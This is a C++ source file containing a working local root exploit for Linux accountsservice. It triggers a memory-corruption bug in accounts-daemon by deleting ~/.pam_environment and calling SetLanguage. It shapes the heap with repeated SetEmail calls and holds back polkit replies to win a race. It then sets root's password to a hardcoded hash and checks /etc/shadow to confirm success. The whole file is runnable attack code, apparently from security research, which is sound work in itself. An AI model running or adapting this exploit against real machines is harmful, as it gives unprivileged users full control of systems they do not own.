#include <pwd.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <random>
#include <dbus_utils.hpp>
#include <EPollLoopDBusHandler.hpp>

static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon";
static const char* etc_shadow_path = "/etc/shadow";

// Return true if the timespecs are equal.
static bool timespec_eq(const timespec& t1, const timespec& t2) {
  return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec;
}

// This class creates an array containing the names of all the files in a
// directory. It does this by running `scandirat` in its constructor.
class ScanDirAt {
  struct dirent **namelist_;
  const int n_;

public:
  explicit ScanDirAt(int fd)
    : n_(scandirat(fd, ".", &namelist_, NULL, alphasort))
  {
    if (n_ < 0) {
      throw ErrorWithErrno("ScanDirAt failed.");
    }
  }

  ~ScanDirAt();

  int size() const { return n_; }

  const char* get(int i) const { return namelist_[i]->d_name; }
};

ScanDirAt::~ScanDirAt() {
  if (n_ >= 0) {
    for (int i = 0; i < n_; i++) {
      free(namelist_[i]);
    }
    free(namelist_);
  }
}

// Search `/proc/*/cmdline` to find the PID of a running program.
static std::vector<pid_t> search_pids(const char *cmdline, size_t cmdline_len) {
  AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC));
  if (procdir_fd.get() < 0) {
    throw ErrorWithErrno("Could not open /proc.");
  }
  ScanDirAt scanDir(procdir_fd.get());

  const int n = scanDir.size();
  std::vector<pid_t> result;
  for (int i = 0; i < n; i++) {
    const char* subdir_name = scanDir.get(i);
    AutoCloseFD subdir_fd(
      openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC)
    );
    if (procdir_fd.get() < 0) {
      continue;
    }
    AutoCloseFD cmdline_fd(
      openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC)
    );
    if (cmdline_fd.get() < 0) {
      continue;
    }

    // Check if the command line matches.
    char buf[0x1000];
    ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf));
    if (r < 0 || static_cast<size_t>(r) < cmdline_len) {
      continue;
    }
    if (memcmp(buf, cmdline, cmdline_len) == 0) {
      // The name of the sub-directory is the PID.
      result.push_back(atoi(subdir_name));
    }
  }
  return result;
}

static pid_t search_pid(const char *cmdline, size_t cmdline_len) {
  std::vector<pid_t> pids = search_pids(cmdline, cmdline_len);
  if (pids.size() == 1) {
    return pids[0];
  }
  return -1;
}

static std::string getHomeDir(uid_t uid) {
  FILE *fp = fopen("/etc/passwd", "r");
  char buf[4096] = {};
  struct passwd pw;
  struct passwd *pwp;
  while (true) {
    if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) {
      fclose(fp);
      char errmsg[256];
      snprintf(
        errmsg, sizeof(errmsg),
        "Could not find UID %u in /etc/passwd.",
        uid
      );
      throw Error(errmsg);
    }
    if (uid == pw.pw_uid) {
      fclose(fp);
      return _s(pw.pw_dir);
    }
  }
}

// Information that can be gathered once when we first start executing.
class ProgramInfo {
public:
  // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket)
  const char* dbus_socket_path_;

  // UID and PID of this process.
  const uid_t uid_;
  const pid_t pid_;

  // Start time of the process. (Needed to register as an authentication agent.)
  const uint64_t start_time_;

  const std::string homedir_;

  // When the poc is successful, the root user's password is set,
  // which causes /etc/shadow to be modified. So we can use stat
  // to detect when the exploit was successful.
  struct stat statorig_ = {};

  explicit ProgramInfo(const char* dbus_socket_path) :
    dbus_socket_path_(dbus_socket_path),
    uid_(getuid()),
    pid_(getpid()),
    start_time_(process_start_time(pid_)),
    homedir_(getHomeDir(uid_))
  {
    stat(etc_shadow_path, &statorig_);
    printf("uid: %u\n", uid_);
    printf("pid: %u\n", pid_);
    printf("home dir: %s\n", homedir_.c_str());
    fflush(stdout);
  }

  // If the timestamp of /etc/shadow has changed then the exploit
  // was (probably) successful.
  bool exploit_succeeded() const {
    struct stat statnew;
    stat(etc_shadow_path, &statnew);
    return !timespec_eq(statnew.st_mtim, statorig_.st_mtim);
  }
};

class PolkitHandler;
class AccountsHandler;
class TriggerBugHandler;

// This class manages the two EPoll handlers that we have open (one for
// communicating with polkit and the other for communicating with
// accountsservice). It enables the two handlers to call each other's
// methods when necessary, and it also takes care of shutting the handlers
// down. (The EPollLoop will not stop until all the handlers are
// disconnected, so when one handler disconnects the other needs to also
// disconnect.)
class EPollManager {
  EPollLoop& loop_;

  // These pointers are owned by the EPollLoop. We have keep copies of them
  // here so that we can call methods on them, and also so that we can call
  // `EPollLoop::del_handler()` on them when we're done.
  PolkitHandler* polkit_handler_ = nullptr;
  AccountsHandler* accounts_handler_ = nullptr;
  TriggerBugHandler* trigger_bug_handler_ = nullptr;

  void del_polkit_handler();
  void del_accounts_handler();

public:
  explicit EPollManager(EPollLoop& loop) :
    loop_(loop)
  {}

  PolkitHandler* polkit_handler() const { return polkit_handler_; }
  AccountsHandler* accounts_handler() const { return accounts_handler_; }
  TriggerBugHandler* trigger_bug_handler() const { return trigger_bug_handler_; }

  void set_polkit_handler(PolkitHandler* polkit_handler){
    assert(!polkit_handler_);
    polkit_handler_ = polkit_handler;
  }

  void set_accounts_handler(AccountsHandler* accounts_handler){
    assert(!accounts_handler_);
    accounts_handler_ = accounts_handler;
  }

  void set_trigger_bug_handler(TriggerBugHandler* trigger_bug_handler){
    assert(!trigger_bug_handler_);
    trigger_bug_handler_ = trigger_bug_handler;
  }

  void polkit_delete() {
    polkit_handler_ = nullptr;
    stop();
  }

  void accounts_delete() {
    accounts_handler_ = nullptr;
    stop();
  }

  void trigger_bug_delete() {
    trigger_bug_handler_ = nullptr;
    stop();
  }

  void stop() const;
};

class PolkitHandler : public DBusHandler {
  // This struct is used to store an error reply message, which we
  // will send later.
  struct BatchedErrorReply {
    const serialNumber_t replySerial_;
    const std::string sender_;

    BatchedErrorReply(
      const serialNumber_t replySerial,
      const std::string sender
    ) :
      replySerial_(replySerial),
      sender_(sender)
    {}
  };

  const ProgramInfo& info_;
  EPollManager& manager_;

  // We deliberately delay responding to some of the polkit requests, to
  // control the order of operations in accountsservice. The replies are
  // queued here.
  std::queue<BatchedErrorReply> error_reply_queue_;

private:
  int quit() {
    return -1;
  }

  int register_with_polkit() {
    std::unique_ptr<DBusMessageBody> body =
      DBusMessageBody::mk(
        _vec<std::unique_ptr<DBusObject>>(
          // Subject
          DBusObjectStruct::mk(
            _vec<std::unique_ptr<DBusObject>>(
              DBusObjectString::mk(_s("unix-process")), // subject_kind
              DBusObjectArray::mk1(
                _vec<std::unique_ptr<DBusObject>>(
                  DBusObjectDictEntry::mk(
                    DBusObjectString::mk(_s("pid")),
                    DBusObjectVariant::mk(
                      DBusObjectUint32::mk(info_.pid_)
                    )
                  ),
                  DBusObjectDictEntry::mk(
                    DBusObjectString::mk(_s("uid")),
                    DBusObjectVariant::mk(
                      DBusObjectInt32::mk(info_.uid_)
                    )
                  ),
                  DBusObjectDictEntry::mk(
                    DBusObjectString::mk(_s("start-time")),
                    DBusObjectVariant::mk(
                      DBusObjectUint64::mk(info_.start_time_)
                    )
                  )
                )
              )
            )
          ),
          DBusObjectString::mk(_s("en")), // locale
          DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path
        )
      );

    send_call(
      std::move(body),
      _s("/org/freedesktop/PolicyKit1/Authority"),
      _s("org.freedesktop.PolicyKit1.Authority"),
      _s("org.freedesktop.PolicyKit1"),
      _s("RegisterAuthenticationAgent"),
      [this](const DBusMessage& message, bool isError) -> int {
        if (isError) {
          // Signal to the rest of the program that an error occurred.
          print_dbus_message(STDERR_FILENO, message);
          fprintf(stderr, "[PolkitHandler]     Could not register with polkit.\n");
          fflush(stderr);
          return quit();
        } else {
          printf("[PolkitHandler]     Successfully registered with polkit\n");
          fflush(stdout);
          return 0;
        }
      }
    );

    return 0;
  }

public:
  PolkitHandler(
    const ProgramInfo& info,
    EPollManager& manager
  ) :
    DBusHandler(info.dbus_socket_path_),
    info_(info),
    manager_(manager)
  {}

  ~PolkitHandler() override {
    manager_.polkit_delete();
  }

  void stop() const {
    shutdown(sock_, SHUT_RDWR);
  }

  void accept() override final {
    manager_.set_polkit_handler(this);
    send_hello(
      [this](const std::string& busname) -> int {
        printf("[PolkitHandler]     Unique bus name (polkit): %s\n", busname.c_str());
        fflush(stdout);

        return register_with_polkit();
      }
    );
  }

  // Every time we attempt to set the root user's password by
  // calling the SetPassword method, we should get an incoming
  // polkit request here.
  void receive_call(const DBusMessage& message) override final {
    const std::string& sender =
      message.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue();
    error_reply_queue_.push(
      BatchedErrorReply(message.getHeader_serialNumber(), sender)
    );
  }

  // We don't expect to receive any calls.
  void receive_signal(const DBusMessage&) override final {
    logerror("Received a signal in PolkitHandler.");
  }

  void receive_error(const DBusMessage& err) override final {
    logerror("Received an error in PolkitHandler.");
    print_dbus_message(STDERR_FILENO, err);
    throw Error("Unexpected error in PolkitHandler.");
  }

  void disconnect() noexcept override final {
    logerror("PolkitHandler D-Bus socket disconnected.");
  }

  void logerror(const char* errmsg) noexcept override final {
    fprintf(stderr, "[PolkitHandler]     %s\n", errmsg);
    fflush(stderr);
  }

  // Send at most `n` error replies to cancel the polkit requests.
  // Due to the unpredicatable timing of when we receive the polkit
  // requests it's possible that there are less than `n` elements in
  // the queue. If so, we just stop early and don't worry about it.
  // (We empty the queue at the beginning of every iteration of the
  // exploit, to stop the queue from growing too big.)
  void cancel_auth_requests(const size_t n) {
    printf("[PolkitHandler]     cancel_auth_requests  queue size = %ld\n",
           error_reply_queue_.size());
    fflush(stdout);
    for (size_t i = 0; i < n; i++) {
      if (error_reply_queue_.empty()) {
        return;
      }

      BatchedErrorReply& reply = error_reply_queue_.front();
      send_error_reply(
        reply.replySerial_,
        _s(reply.sender_),
        _s("org.freedesktop.PolicyKit1.Error.Cancelled")
      );
      error_reply_queue_.pop();
    }
  }
};

class AccountsHandlerBase : public DBusHandler {
protected:
  const ProgramInfo& info_;

  // std::random is used to vary the batch sizes on each run, because
  // it's difficult to know which batch sizes are the most likely to
  // succeed.
  std::random_device rd_;
  std::mt19937 gen_;

  std::string my_objectpath_;
  std::string root_objectpath_;
  const std::string pam_env_path_;

  // Email address for sending to the SetEmail method.
  // Changing the email address triggers a call to `save_extra_data`, which
  // causes a bunch of memory to be allocated and freed, but without
  // increasing the total memory usage. (At least, I haven't noticed any
  // memory leaks in that code.) Sometimes we do this to deliberately
  // jumble the memory up so that a subsequent memory allocation will
  // occupy the chunk that we want it to.  Other times, we deliberately
  // call the SetEmail method with the same email address as last time, so
  // that we trigger a polkit check that will get approved, but without
  // jumbling the memory any further.
  char email_[128] = "kevwozere@kevwozere.com";

public:
  AccountsHandlerBase(
    const ProgramInfo& info
  ) :
    DBusHandler(info.dbus_socket_path_),
    info_(info),
    gen_(rd_()),
    pam_env_path_(info_.homedir_ + _s("/.pam_environment"))
  {}

protected:
  int quit() {
    return -1;
  }

  // We don't expect to receive any calls.
  void receive_call(const DBusMessage&) override final {
    logerror("Unexpected incoming call.");
  }

  // We don't expect to receive any calls.
  void receive_signal(const DBusMessage&) override final {
    logerror("Received a signal.");
  }

  void receive_error(const DBusMessage& err) override final {
    logerror("Received an error in AccountsHandler.");
    print_dbus_message(STDERR_FILENO, err);
  }

  void disconnect() noexcept override final {
    logerror("AccountsHandler D-Bus socket disconnected.");
  }

  int findUserByID(
    uid_t uid,
    std::function<int(const char* userpath, bool isError)> cb
  ) {
    send_call(
      DBusMessageBody::mk(
        _vec<std::unique_ptr<DBusObject>>(
          DBusObjectInt64::mk(uid)
        )
      ),
      _s("/org/freedesktop/Accounts"),
      _s("org.freedesktop.Accounts"),
      _s("org.freedesktop.Accounts"),
      _s("FindUserById"),
      [this, cb](const DBusMessage& message, bool isError) -> int {
        if (isError) {
          logerror("FindUserById failed");
          return cb(nullptr, true);
        } else {
          const std::string& userpath =
            message.getBody().getElement(0)->toPath().getValue();
          printf("[AccountsHandler]   FindUserById: %s\n", userpath.c_str());
          fflush(stdout);
          return cb(userpath.c_str(), false);
        }
      }
    );

    return 0;
  }

  int accounts_set_property(
    const char* userpath,
    const char* command,
    const char* value,
    reply_cb_t cb
  ) {
    send_call(
      DBusMessageBody::mk(
        _vec<std::unique_ptr<DBusObject>>(
          DBusObjectString::mk(_s(value))
        )
      ),
      _s(userpath),
      _s("org.freedesktop.Accounts.User"),
      _s("org.freedesktop.Accounts"),
      _s(command),
      cb
    );

    return 0;
  }

  int accounts_set_password(
    const char* userpath,
    const char* password,
    const char* hint,
    reply_cb_t cb
  ) {
    send_call(
      DBusMessageBody::mk(
        _vec<std::unique_ptr<DBusObject>>(
          DBusObjectString::mk(_s(password)),
          DBusObjectString::mk(_s(hint))
        )
      ),
      _s(userpath),
      _s("org.freedesktop.Accounts.User"),
      _s("org.freedesktop.Accounts"),
      _s("SetPassword"),
      cb
    );

    return 0;
  }

  virtual int attempt_exploit() = 0;
};

class AccountsHandler : public AccountsHandlerBase {
  EPollManager& manager_;

  // std::random is used to vary the batch sizes on each run, because
  // it's difficult to know which batch sizes are the most likely to
  // succeed.
  std::uniform_int_distribution<> batchsize_distrib_;
  std::uniform_int_distribution<> microsec_distrib_;

  size_t batch_size_ = 0;

private:
  int quit() {
    return -1;
  }

  void choose_batch_size() {
    batch_size_ = batchsize_distrib_(gen_);
    printf("[AccountsHandler]   batch size: %ld\n", batch_size_);
    fflush(stdout);
  }

public:
  AccountsHandler(
    const ProgramInfo& info,
    EPollManager& manager
  ) :
    AccountsHandlerBase(info),
    manager_(manager),
    batchsize_distrib_(0,128),
    microsec_distrib_(0,999)
  {}

  virtual ~AccountsHandler() override {
    manager_.accounts_delete();
  }

  void stop() const {
    shutdown(sock_, SHUT_RDWR);
  }

  void accept() override final {
    manager_.set_accounts_handler(this);
    send_hello(
      [this](const std::string& busname) -> int {
        printf("[AccountsHandler]   Unique bus name: %s\n", busname.c_str());
        fflush(stdout);

        return findUserByID(
          info_.uid_,
          [this](const char* userpath, bool isError) -> int {
            if (isError) {
              return quit();
            } else {
              my_objectpath_ = userpath;
              return attempt_exploit();
            }
          }
        );
      }
    );
  }

  void logerror(const char* errmsg) noexcept override final {
    fprintf(stderr, "[AccountsHandler]   %s\n", errmsg);
    fflush(stderr);
  }

  int attempt_exploit() override {
    choose_batch_size();

    return findUserByID(
      0,
      [this](const char* rootpath, bool isError) -> int {
        if (isError) {
          // Something went wrong. Try again.
          return attempt_exploit();
        } else {
          root_objectpath_ = rootpath;

          const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
          printf("[AccountsHandler]   Starting exploit. PID: %u\n", pid);
          fflush(stdout);

          for (size_t i = 0; i < batch_size_; i++) {
            // Change the email address to jumble the memory.
            snprintf(
              email_, sizeof(email_),
              "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com",
              i
            );

            accounts_set_property(
              my_objectpath_.c_str(), "SetEmail", email_,
              [](const DBusMessage&, bool) -> int {
                return 0;
              }
            );

            // password: KrabbyPatties
            const char* password =
              "$5$PPF4wUn4slXL6X09$39P6jDAQVDzE5s2kpoJVUxcoQGFtyvhiynlKMtNWlt4";
            // hint is long enough that it won't fit in an 0x20-sized chunk.
            const char* hint = "Most famous burger in Bikini Bottom";
            accounts_set_password(
              root_objectpath_.c_str(), password, hint,
              [this](const DBusMessage&, bool isError) -> int {
                if (isError) {
                  return 0;
                } else {
                  printf("[AccountsHandler]   SetPassword succeeded!\n");
                  fflush(stdout);
                  return quit();
                }
              }
            );
          }

          // One final email change, for synchronization purposes.
          return accounts_set_property(
            my_objectpath_.c_str(), "SetEmail", email_,
            [this](const DBusMessage&, bool isError) -> int {
              // Cancel any queued polkit requests.
              PolkitHandler* polkit_handler = manager_.polkit_handler();
              if (!polkit_handler) {
                return quit();
              }
              polkit_handler->cancel_auth_requests(std::numeric_limits<size_t>::max());

              printf("[AccountsHandler]   SetEmail isError = %d\n", isError);
              const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
              printf("[AccountsHandler]   End iteration. PID: %d\n", pid);
              fflush(stdout);

              // Wait for 0..1 seconds before the next iteration.
              timespec duration;
              duration.tv_sec = 0;
              duration.tv_nsec = microsec_distrib_(gen_) * 1000000;
              clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);

              if (info_.exploit_succeeded()) {
                return quit();
              } else {
                return attempt_exploit();
              }
            }
          );
        }
      }
    );
  }
};

class TriggerBugHandler : public AccountsHandlerBase {
  EPollManager& manager_;

  // std::random is used to vary the batch sizes on each run, because
  // it's difficult to know which batch sizes are the most likely to
  // succeed.
  std::uniform_int_distribution<> batchsize_distrib_;

  size_t batch_size_ = 0;

private:
  void choose_batch_size() {
    batch_size_ = batchsize_distrib_(gen_);
    printf("[TriggerBugHandler] batch size: %ld\n", batch_size_);
    fflush(stdout);
  }

public:
  explicit TriggerBugHandler(
    const ProgramInfo& info,
    EPollManager& manager
  ) :
    AccountsHandlerBase(info),
    manager_(manager),
    batchsize_distrib_(0,32)
  {}

  virtual ~TriggerBugHandler() override {
    manager_.trigger_bug_delete();
  }

  void stop() const {
    shutdown(sock_, SHUT_RDWR);
  }

protected:
  void accept() override final {
    send_hello(
      [this](const std::string& busname) -> int {
        printf("[TriggerBugHandler] Unique bus name: %s\n", busname.c_str());
        fflush(stdout);

        return findUserByID(
          info_.uid_,
          [this](const char* userpath, bool isError) -> int {
            if (isError) {
              return quit();
            } else {
              my_objectpath_ = userpath;
              return attempt_exploit();
            }
          }
        );
      }
    );
  }

  void logerror(const char* errmsg) noexcept override final {
    fprintf(stderr, "[TriggerBugHandler] %s\n", errmsg);
    fflush(stderr);
  }

  // This function triggers the bug by removing `~/.pam_environment` and
  // calling the "SetLanguage" method.
  int trigger_bug(reply_cb_t cb) {
    unlink(pam_env_path_.c_str());
    return accounts_set_property(
      my_objectpath_.c_str(), "SetLanguage", "kevwozere", cb
    );
  }

  int attempt_exploit() override {
    choose_batch_size();

    const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
    printf("[TriggerBugHandler] Starting exploit. PID: %u\n", pid);
    fflush(stdout);

    for (size_t i = 0; i < batch_size_; i++) {
      // Change the email address to jumble the memory.
      snprintf(
        email_, sizeof(email_),
        "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com",
        i
      );

      accounts_set_property(
        my_objectpath_.c_str(), "SetEmail", email_,
        [this](const DBusMessage&, bool isError) -> int {
          if (isError) {
            return quit();
          } else {
            return 0;
          }
        }
      );
    }

    return trigger_bug(
      [this](const DBusMessage&, bool isError) -> int {
        printf("[TriggerBugHandler] trigger bug:  isError = %d\n", (int)isError);
        fflush(stdout);

        // One final email change, for synchronization purposes.
        return accounts_set_property(
          my_objectpath_.c_str(), "SetEmail", email_,
          [this](const DBusMessage&, bool isError) -> int {
            printf("[TriggerBugHandler] SetEmail isError = %d\n", isError);
            const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
            printf("[TriggerBugHandler] End iteration. PID: %d\n", pid);
            fflush(stdout);

            // accounts-daemon restarts will get rate-limited if it crashes more
            // than 5 times in 10 seconds. It typically crashes after triggering
            // the bug twice, so wait for 1 second before the next iteration.
            sleep(1);

            if (info_.exploit_succeeded()) {
              return quit();
            } else {
              return attempt_exploit();
            }
          }
        );
      }
    );
  }
};

void EPollManager::stop() const {
  if (polkit_handler_) {
    polkit_handler_->stop();
  }
  if (accounts_handler_) {
    accounts_handler_->stop();
  }
  if (trigger_bug_handler_) {
    trigger_bug_handler_->stop();
  }
}

int main(int argc, char* argv[]) {
  const char* progname = argc > 0 ? argv[0] : "a.out";
  if (argc != 2) {
    fprintf(
      stderr,
      "usage:   %s <unix socket>\n"
      "example: %s /var/run/dbus/system_bus_socket\n",
      progname,
      progname
    );
    return EXIT_FAILURE;
  }

  const char* dbus_socket_path = argv[1];

  try {
    const pid_t cpid = fork();
    if (cpid < 0) {
      throw ErrorWithErrno("fork failed");
    }

    ProgramInfo info(dbus_socket_path);

    do {
      EPollLoop loop;
      EPollManager manager(loop);

      if (cpid > 0) {
        // In the child process, we just continually trigger the bug at
        // 1-second intervals.
        DBusAuthHandler* trigger_bug_auth_handler =
          new DBusAuthHandler(info.uid_, new TriggerBugHandler(info, manager));
        if (loop.add_handler(trigger_bug_auth_handler) < 0) {
          throw Error(_s("Failed to add TriggerBugHandler"));
        }
      } else {
        DBusAuthHandler* polkit_auth_handler =
          new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager));
        if (loop.add_handler(polkit_auth_handler) < 0) {
          throw Error(_s("Failed to add PolkitHandler"));
        }

        DBusAuthHandler* accounts_auth_handler =
          new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager));
        if (loop.add_handler(accounts_auth_handler) < 0) {
          throw Error(_s("Failed to add AccountsHandler"));
        }
      }

      loop.run();
    } while (!info.exploit_succeeded());

    if (cpid > 0) {
      waitpid(cpid, 0, 0);
      printf("%s was modified!\n", etc_shadow_path);
    }
  } catch (ErrorWithErrno& e) {
    const int err = e.getErrno();
    fprintf(stderr, "%s\n%s\n", e.what(), strerror(err));
    return EXIT_FAILURE;
  } catch (std::exception& e) {
    fprintf(stderr, "%s\n", e.what());
    return EXIT_FAILURE;
  }

  return EXIT_SUCCESS;
}
